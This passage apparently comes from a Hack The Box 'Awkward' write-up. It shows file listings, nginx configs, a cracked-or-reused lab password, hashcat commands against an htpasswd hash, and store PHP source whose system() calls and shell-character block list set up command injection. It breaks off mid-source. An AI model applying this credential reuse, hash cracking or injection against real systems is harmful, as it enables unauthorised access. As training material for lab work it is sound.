        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  lrwxrwxrwx  1 bean bean    9 Sep 15 21:40 .bash_history -&gt; /dev/null
  -rw-r--r--  1 bean bean  220 Sep 15 21:34 .bash_logout
  -rw-r--r--  1 bean bean 3847 Sep 15 21:45 .bashrc
  drwx------  9 bean bean 4096 Sep 22 14:30 .cache
  drwx------ 13 bean bean 4096 Oct  6 01:35 .config
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Desktop
  drwxr-xr-x  3 bean bean 4096 Sep 15 21:46 Documents
  drwxr-xr-x  2 bean bean 4096 Sep 15 23:03 Downloads
  drwx------  3 bean bean 4096 Dec 15 00:24 .gnupg
  drwx------  3 bean bean 4096 Sep 15 21:35 .local
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Music
  drwxrwxr-x  4 bean bean 4096 Oct  6 01:35 .npm
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Pictures
  -rw-r--r--  1 bean bean  807 Sep 15 21:34 .profile
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Public
  drwx------  4 bean bean 4096 Sep 15 21:55 snap
  drwx------  2 bean bean 4096 Sep 15 21:36 .ssh
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Templates
  -rw-r-----  1 root bean   33 Dec 14 22:10 user.txt
  drwxr-xr-x  2 bean bean 4096 Sep 15 21:35 Videos
</code></pre></div>        </div>
      </li>
    </ul>

    <p>there were no clues unfortunately, in fact it was quite a tedious part guessing the readable files</p>
  </li>
  <li><code class="language-html highlighter-rouge">ls -al /var/www/</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwxr-xr-x  6 root      root     4096 Oct  6 01:35 hat-valley.htb
  drwxr-xr-x  2 root      root     4096 Oct  6 01:35 html
  drw-rwx---  5 root      www-data 4096 Dec 14 22:10 .pm2
  dr-xr-x---  2 christine www-data 4096 Oct  6 01:35 private
  drwxr-xr-x  9 root      root     4096 Oct  6 01:35 store
</code></pre></div>    </div>

    <p>I can see the files inside the store (others):</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwxr-xr-x 9 root root  4096 Oct  6 01:35 .
  drwxr-xr-x 7 root root  4096 Oct  6 01:35 ..
  drwxrwxrwx 2 root root  4096 Dec 15 02:04 cart
  -rwxr-xr-x 1 root root  3664 Sep 15 20:09 cart_actions.php
  -rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php
  -rwxr-xr-x 1 root root  9143 Sep 15 20:09 checkout.php
  drwxr-xr-x 2 root root  4096 Oct  6 01:35 css
  drwxr-xr-x 2 root root  4096 Oct  6 01:35 fonts
  drwxr-xr-x 6 root root  4096 Oct  6 01:35 img
  -rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php
  drwxr-xr-x 3 root root  4096 Oct  6 01:35 js
  drwxrwxrwx 2 root root  4096 Dec 15 02:00 product-details
  -rwxr-xr-x 1 root root   918 Sep 15 20:09 README.md
  -rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php
  drwxr-xr-x 6 root root  4096 Oct  6 01:35 static
  -rwxr-xr-x 1 root root   695 Sep 15 20:09 style.css
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">ls -al /var/mail/</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  -rw-------  1 christine mail 40283 Dec 15 00:20 christine
  -rw-------  1 root      mail 85534 Dec 15 00:24 root
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">sudo -l</code> (with password <code class="language-html highlighter-rouge">014mrbeanrules!#P</code>)
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Sorry, user bean may not run sudo on awkward.
</code></pre></div>    </div>
  </li>
  <li>I look at the server side configuration:
    <ul>
      <li><code class="language-html highlighter-rouge">/etc/nginx/sites-enabled/hat-valley.htb.conf</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  server {
      listen 80;
      server_name hat-valley.htb;
      root /var/www/hat-valley.htb;
      location / {
          proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
          proxy_pass http://127.0.0.1:8080;
          proxy_http_version 1.1;
          proxy_set_header Upgrade $http_upgrade;
          proxy_set_header Connection "upgrade";
      }
  }
</code></pre></div>        </div>

        <p>for this reason accessing <a href="http://127.0.0.1:8080"><code class="language-html highlighter-rouge">http://127.0.0.1:8080</code></a> with the SSRF does not work</p>
      </li>
      <li><code class="language-html highlighter-rouge">/etc/nginx/sites-enabled/store.conf</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  server {
      listen       80;
      server_name  store.hat-valley.htb;
      root /var/www/store;
      location / {
          index index.php index.html index.htm;
      }
      location ~ /cart/.*\.php$ {
          return 403;
      }
      location ~ /product-details/.*\.php$ {
          return 403;
      }
      location ~ \.php$ {
          auth_basic "Restricted";
          auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
          fastcgi_pass   unix:/var/run/php/php8.1-fpm.sock;
          fastcgi_index  index.php;
          fastcgi_param  SCRIPT_FILENAME  $realpath_root$fastcgi_script_name;
          include        fastcgi_params;
      }
  }
</code></pre></div>        </div>

        <p>inside <code class="language-html highlighter-rouge">/etc/nginx/conf.d/.htpasswd</code> I find</p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
</code></pre></div>        </div>

        <p><a href="https://runebook.dev/it/docs/nginx/http/ngx_http_auth_basic_module">https://runebook.dev/it/docs/nginx/http/ngx_http_auth_basic_module</a></p>

        <p><a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-nginx-on-ubuntu-14-04">https://www.digitalocean.com/community/tutorials/how-to-set-up-password-authentication-with-nginx-on-ubuntu-14-04</a></p>

        <p><code class="language-html highlighter-rouge">openssl passwd -apr1 &gt;&gt; /etc/nginx/.htpasswd</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  -apr1 - Use the apr1 algorithm (Apache variant of the BSD algorithm).
</code></pre></div>        </div>

        <p><code class="language-html highlighter-rouge">hashcat --help | grep apr</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
</code></pre></div>        </div>

        <p>example from <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">https://hashcat.net/wiki/doku.php?id=example_hashes</a>:</p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  $apr1$71850310$gh9m4xcAn3MGxogwX/ztb.
</code></pre></div>        </div>

        <p>so I omit the username and write on the file <code class="language-html highlighter-rouge">hash2.txt</code> only <code class="language-html highlighter-rouge">$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1</code></p>

        <p>I start the attack: <code class="language-html highlighter-rouge">hashcat -m 1600 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt -O</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>
</code></pre></div>        </div>

        <p>the password cannot be cracked so (<strong>MAKE SURE TO USE THIS EVERYWHERE</strong>) I reuse the <code class="language-html highlighter-rouge">bean</code> credentials and login to <a href="http://store.hat-valley.htb/"><code class="language-html highlighter-rouge">http://store.hat-valley.htb/</code></a> with the <code class="language-html highlighter-rouge">admin : 014mrbeanrules!#P</code> credentials</p>

        <p>bingo!</p>
      </li>
    </ul>
  </li>
  <li>
    <p>I visit the <a href="http://store.hat-valley.htb"><code class="language-html highlighter-rouge">http://store.hat-valley.htb</code></a> website as a logged in user</p>

    <p>client side for the <code class="language-html highlighter-rouge">shop.php</code> page I see:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;script&gt;</span>
  <span class="kd">function</span> <span class="nx">generateUniqSerial</span><span class="p">()</span> <span class="p">{</span>  
      <span class="k">return</span> <span class="dl">'</span><span class="s1">xxxx-xxxx-xxx-xxxx</span><span class="dl">'</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">x</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="p">(</span><span class="nx">c</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>  
          <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">16</span><span class="p">);</span>  
          <span class="k">return</span> <span class="nx">r</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>  
      <span class="p">});</span>
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">checkUser</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
          <span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">,</span> <span class="nx">generateUniqSerial</span><span class="p">())</span>
      <span class="p">}</span>
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">addToCart</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span> <span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
         <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span>
         <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">cart_actions.php</span><span class="dl">'</span><span class="p">,</span>
         <span class="na">data</span><span class="p">:{</span><span class="na">item</span><span class="p">:</span> <span class="nx">item</span><span class="p">.</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">"</span><span class="s2">data-id</span><span class="dl">"</span><span class="p">),</span> <span class="na">user</span><span class="p">:</span> <span class="nx">user</span><span class="p">,</span> <span class="na">action</span><span class="p">:</span> <span class="dl">'</span><span class="s1">add_item</span><span class="dl">'</span><span class="p">},</span>
         <span class="na">success</span><span class="p">:</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
           <span class="nx">alert</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
         <span class="p">}</span>
      <span class="p">});</span>
  <span class="p">}</span>
  <span class="nt">&lt;/script&gt;</span>
  ...
  <span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"checkUser();"</span><span class="nt">&gt;</span>
  ...
  <span class="nt">&lt;div</span> <span class="na">data-id=</span><span class="s">"1"</span> <span class="na">onclick=</span><span class="s">"addToCart(this, localStorage.getItem('user'))"</span> <span class="na">class=</span><span class="s">"add-to-cart-btn"</span> <span class="na">style = </span><span class="s">"margin-top: 15px !important; cursor: pointer;"</span><span class="nt">&gt;</span>ADD TO CART<span class="nt">&lt;/div&gt;</span>
</code></pre></div>    </div>

    <p>client side for the <code class="language-html highlighter-rouge">cart.php</code> page I see:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;script&gt;</span>
  <span class="kd">function</span> <span class="nx">setupCart</span><span class="p">()</span> <span class="p">{</span>
      <span class="nx">checkUser</span><span class="p">();</span>
      <span class="nx">fetchCart</span><span class="p">();</span>
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">generateUniqSerial</span><span class="p">()</span> <span class="p">{</span>  
      <span class="k">return</span> <span class="dl">'</span><span class="s1">xxxx-xxxx-xxx-xxxx</span><span class="dl">'</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">x</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="p">(</span><span class="nx">c</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>  
          <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">16</span><span class="p">);</span>  
          <span class="k">return</span> <span class="nx">r</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>  
      <span class="p">});</span>  
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">checkUser</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
          <span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">,</span> <span class="nx">generateUniqSerial</span><span class="p">())</span>
      <span class="p">}</span>
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">fetchCart</span><span class="p">()</span> <span class="p">{</span>
      <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
         <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">get</span><span class="dl">"</span><span class="p">,</span>
         <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">cart_actions.php</span><span class="dl">'</span><span class="p">,</span>
         <span class="na">data</span><span class="p">:{</span><span class="na">user</span><span class="p">:</span> <span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">),</span> <span class="na">action</span><span class="p">:</span> <span class="dl">'</span><span class="s1">fetch_items</span><span class="dl">'</span><span class="p">},</span>
         <span class="na">success</span><span class="p">:</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
             <span class="k">if</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                 <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">store-cart</span><span class="dl">"</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">&lt;td colspan=4 class='no-items'&gt;Well, this is awkward... you have no items in your cart. Get shopping!&lt;/td&gt;</span><span class="dl">"</span>
             <span class="p">}</span>
             <span class="k">else</span> <span class="p">{</span>
                 <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">store-cart</span><span class="dl">"</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">+=</span> <span class="nx">data</span>
             <span class="p">}</span>
         <span class="p">}</span>
      <span class="p">});</span>
  <span class="p">}</span>

  <span class="kd">function</span> <span class="nx">removeFromCart</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span> <span class="nx">user</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
         <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span>
         <span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">cart_actions.php</span><span class="dl">'</span><span class="p">,</span>
         <span class="na">data</span><span class="p">:{</span><span class="na">item</span><span class="p">:</span> <span class="nx">item</span><span class="p">.</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">"</span><span class="s2">data-id</span><span class="dl">"</span><span class="p">),</span> <span class="na">user</span><span class="p">:</span> <span class="nx">user</span><span class="p">,</span> <span class="na">action</span><span class="p">:</span> <span class="dl">'</span><span class="s1">delete_item</span><span class="dl">'</span><span class="p">},</span>
         <span class="na">success</span><span class="p">:</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
           <span class="nx">alert</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
           <span class="nx">location</span><span class="p">.</span><span class="nx">reload</span><span class="p">()</span>
         <span class="p">}</span>
      <span class="p">});</span>
  <span class="p">}</span>
  <span class="nt">&lt;/script&gt;</span>
  ...
  <span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"setupCart()"</span><span class="nt">&gt;</span>
  ...
</code></pre></div>    </div>

    <p>server side (I can read the sources → others permissions) I see <code class="language-html highlighter-rouge">cart_actions.php</code>:</p>
    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;?php</span>
  <span class="nv">$STORE_HOME</span> <span class="o">=</span> <span class="s2">"/var/www/store/"</span><span class="p">;</span>

  <span class="c1">//check for valid hat valley store item</span>
  <span class="k">function</span> <span class="n">checkValidItem</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$filename</span><span class="p">))</span> <span class="p">{</span>
          <span class="nv">$first_line</span> <span class="o">=</span> <span class="nb">file</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
          <span class="k">if</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$first_line</span><span class="p">,</span> <span class="s2">"***Hat Valley"</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">//add to cart</span>
  <span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'POST'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'add_item'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'item'</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">])</span> <span class="p">{</span>
      <span class="nv">$item_id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'item'</span><span class="p">];</span>
      <span class="nv">$user_id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">];</span>
      <span class="nv">$bad_chars</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s2">";"</span><span class="p">,</span><span class="s2">"&amp;"</span><span class="p">,</span><span class="s2">"|"</span><span class="p">,</span><span class="s2">"&gt;"</span><span class="p">,</span><span class="s2">"&lt;"</span><span class="p">,</span><span class="s2">"*"</span><span class="p">,</span><span class="s2">"?"</span><span class="p">,</span><span class="s2">"`"</span><span class="p">,</span><span class="s2">"$"</span><span class="p">,</span><span class="s2">"("</span><span class="p">,</span><span class="s2">")"</span><span class="p">,</span><span class="s2">"</span><span class="si">{</span><span class="nv">","</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span><span class="s2">"["</span><span class="p">,</span><span class="s2">"]"</span><span class="p">,</span><span class="s2">"!"</span><span class="p">,</span><span class="s2">"#"</span><span class="p">);</span> <span class="c1">//no hacking allowed!!</span>

      <span class="k">foreach</span><span class="p">(</span><span class="nv">$bad_chars</span> <span class="k">as</span> <span class="nv">$bad</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$item_id</span><span class="p">,</span> <span class="nv">$bad</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">echo</span> <span class="s2">"Bad character detected!"</span><span class="p">;</span>
              <span class="k">exit</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>

      <span class="k">foreach</span><span class="p">(</span><span class="nv">$bad_chars</span> <span class="k">as</span> <span class="nv">$bad</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$user_id</span><span class="p">,</span> <span class="nv">$bad</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">echo</span> <span class="s2">"Bad character detected!"</span><span class="p">;</span>
              <span class="k">exit</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>

      <span class="k">if</span><span class="p">(</span><span class="nf">checkValidItem</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">product-details/</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">.txt"</span><span class="p">))</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
              <span class="nb">system</span><span class="p">(</span><span class="s2">"echo '***Hat Valley Cart***' &gt; </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
          <span class="p">}</span>
          <span class="nb">system</span><span class="p">(</span><span class="s2">"head -2 </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">product-details/</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">.txt | tail -1 &gt;&gt; </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
          <span class="k">echo</span> <span class="s2">"Item added successfully!"</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">else</span> <span class="p">{</span>
          <span class="k">echo</span> <span class="s2">"Invalid item"</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">exit</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">//delete from cart</span>
  <span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'POST'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'delete_item'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'item'</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">])</span> <span class="p">{</span>
      <span class="nv">$item_id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'item'</span><span class="p">];</span>
      <span class="nv">$user_id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">];</span>
      <span class="nv">$bad_chars</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s2">";"</span><span class="p">,</span><span class="s2">"&amp;"</span><span class="p">,</span><span class="s2">"|"</span><span class="p">,</span><span class="s2">"&gt;"</span><span class="p">,</span><span class="s2">"&lt;"</span><span class="p">,</span><span class="s2">"*"</span><span class="p">,</span><span class="s2">"?"</span><span class="p">,</span><span class="s2">"`"</span><span class="p">,</span><span class="s2">"$"</span><span class="p">,</span><span class="s2">"("</span><span class="p">,</span><span class="s2">")"</span><span class="p">,</span><span class="s2">"</span><span class="si">{</span><span class="nv">","</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span><span class="s2">"["</span><span class="p">,</span><span class="s2">"]"</span><span class="p">,</span><span class="s2">"!"</span><span class="p">,</span><span class="s2">"#"</span><span class="p">);</span> <span class="c1">//no hacking allowed!!</span>

      <span class="k">foreach</span><span class="p">(</span><span class="nv">$bad_chars</span> <span class="k">as</span> <span class="nv">$bad</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$item_id</span><span class="p">,</span> <span class="nv">$bad</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">echo</span> <span class="s2">"Bad character detected!"</span><span class="p">;</span>
              <span class="k">exit</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>

      <span class="k">foreach</span><span class="p">(</span><span class="nv">$bad_chars</span> <span class="k">as</span> <span class="nv">$bad</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$user_id</span><span class="p">,</span> <span class="nv">$bad</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">FALSE</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">echo</span> <span class="s2">"Bad character detected!"</span><span class="p">;</span>
              <span class="k">exit</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="nf">checkValidItem</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
          <span class="nb">system</span><span class="p">(</span><span class="s2">"sed -i '/item_id=</span><span class="si">{</span><span class="nv">$item_id</span><span class="si">}</span><span class="s2">/d' </span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">);</span>
          <span class="k">echo</span> <span class="s2">"Item removed from cart"</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">else</span> <span class="p">{</span>
          <span class="k">echo</span> <span class="s2">"Invalid item"</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">exit</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">//fetch from cart</span>
  <span class="k">if</span> <span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_METHOD'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'GET'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span> <span class="o">===</span> <span class="s1">'fetch_items'</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'user'</span><span class="p">])</span> <span class="p">{</span>
      <span class="nv">$html</span> <span class="o">=</span> <span class="s2">""</span><span class="p">;</span>
      <span class="nv">$dir</span> <span class="o">=</span> <span class="nb">scandir</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart"</span><span class="p">);</span>
      <span class="nv">$files</span> <span class="o">=</span> <span class="nb">array_slice</span><span class="p">(</span><span class="nv">$dir</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>

      <span class="k">foreach</span><span class="p">(</span><span class="nv">$files</span> <span class="k">as</span> <span class="nv">$file</span><span class="p">)</span> <span class="p">{</span>
          <span class="nv">$user_id</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="o">-</span><span class="mi">18</span><span class="p">);</span>
          <span class="k">if</span><span class="p">(</span><span class="nv">$user_id</span> <span class="o">===</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nf">checkValidItem</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$user_id</span><span class="si">}</span><span class="s2">"</span><span class="p">))</span> <span class="p">{</span>
              <span class="nv">$product_file</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="s2">"</span><span class="si">{</span><span class="nv">$STORE_HOME</span><span class="si">}</span><span class="s2">cart/</span><span class="si">{</span><span class="nv">$file</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">);</span>
              <span class="nv">$details</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
              <span class="k">while</span> <span class="p">((</span><span class="nv">$line</span> <span class="o">=</span> <span class="nb">fgets</span><span class="p">(</span><span class="nv">$product_file</span><span class="p">))</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
